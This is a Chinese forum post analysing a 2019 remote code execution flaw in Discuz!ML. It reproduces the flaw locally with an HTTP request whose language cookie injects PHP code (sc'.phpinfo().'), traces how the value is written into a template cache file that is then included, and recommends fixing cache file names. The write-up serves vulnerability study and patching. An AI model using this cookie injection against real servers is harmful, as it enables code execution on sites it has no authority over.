用户
搜索
  • TA的每日心情
    开心
    2018-9-11 11:32
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-核心白帽

    Rank: 4

    122

    主题

    151

    帖子

    1651

    魔法币
    收听
    0
    粉丝
    36
    注册时间
    2016-6-6
    发表于 2019-7-29 16:41:21 01923
    2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过修改请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行。

    0x00 漏洞复现环境

    平台环境(windows) : phpStudy(2018)  php 5.5.38 + apache

    源代码http://discuz.ml/download


    0x01 漏洞复现

    访问http://127.0.0.1/discuz/upload/forum.php 使用burpsuite 对请求包修改,在Cookie字段中DeBP_2132_language参数写入恶意代码 ‘.phpinfo().’ 。

    整体请求如下:

    GET /discuz/upload/forum.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Cookie: DeBP_2132_saltkey=PpJ0DNbK; DeBP_2132_language=sc'.phpinfo().'; DeBP_2132_lastvisit=1563773757; DeBP_2132_sid=MjB6U2; DeBP_2132_lastact=1563777365%09home.php%09misc; DeBP_2132_onlineusernum=1; DeBP_2132_sendmail=1
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    如下.webp.jpg

    在服务器返回的请求中发现我们写入的恶意代码成功得到了执行。

    执行.webp.jpg

    0x02 漏洞分析

    打开forum.php文件查看24 行包含了 ‘./source/class/class_core.php’文件。

    文件.webp.jpg

    那么来查看 class_core.php文件,在文件第33行的时候调用了creatapp() 方法。

    方法.webp.jpg


    在查看creatapp方法中如果私有属性$_app不是一个对象的话将调用discuz_application的instance()方法。

    查看.webp.jpg

    在instance()方法中对自身类进行了实例化。

    实例.webp.jpg

    而在discuz_application类的构造方法中_init_input()方法会将cookie中language的值赋给$lan变量。
    变量.webp.jpg

    继续查看后发现最终会将值传递给DISCUZ_LANG。
    lang.webp.jpg

    扭头回到forum.php文件中继续看,在第78行的时候包含了forum_index.php文件。
    php.webp.jpg

    查看forum_index.php文件 在432行的时候它会包含通过template方法生成的恶意文件。
    恶意.webp.jpg

    分析template方法在function_core.php文件中第644行中,$cachefile变量 即缓存文件名是通过拼接几个变量的值得来的。
    值得.webp.jpg

    接着在653行调用了checktplrefresh方法。
    653.webp.jpg

    在checktplrefresh 方法中调用template类中的parse_template方法来生成缓存文件。
    check.webp.jpg

    在parse_template方法中读取模板文件到template变量。
    parase.webp.jpg

    在parse_template方法中第74行的时候将可控变量cachefile拼接后赋给了headeradd变量。
    74.webp.jpg

    84行的时候又将headeradd拼接到了template中。
    84.webp.jpg

    所以就形成了以下代码。
    所以.webp.jpg

    最终写入本地。
    最终.webp.jpg

    并且由forum_index.php文件的第432行代码 对template方法生成的缓存文件包含,使得在cookie中恶意构造的代码得到执行。


    0x03 修复建议

    针对缓存的缓存文件名进行固定。

    qrcode_for_gh_223e082fe8a7_430.jpg


    发新帖
    您需要登录后才可以回帖 登录 | 立即注册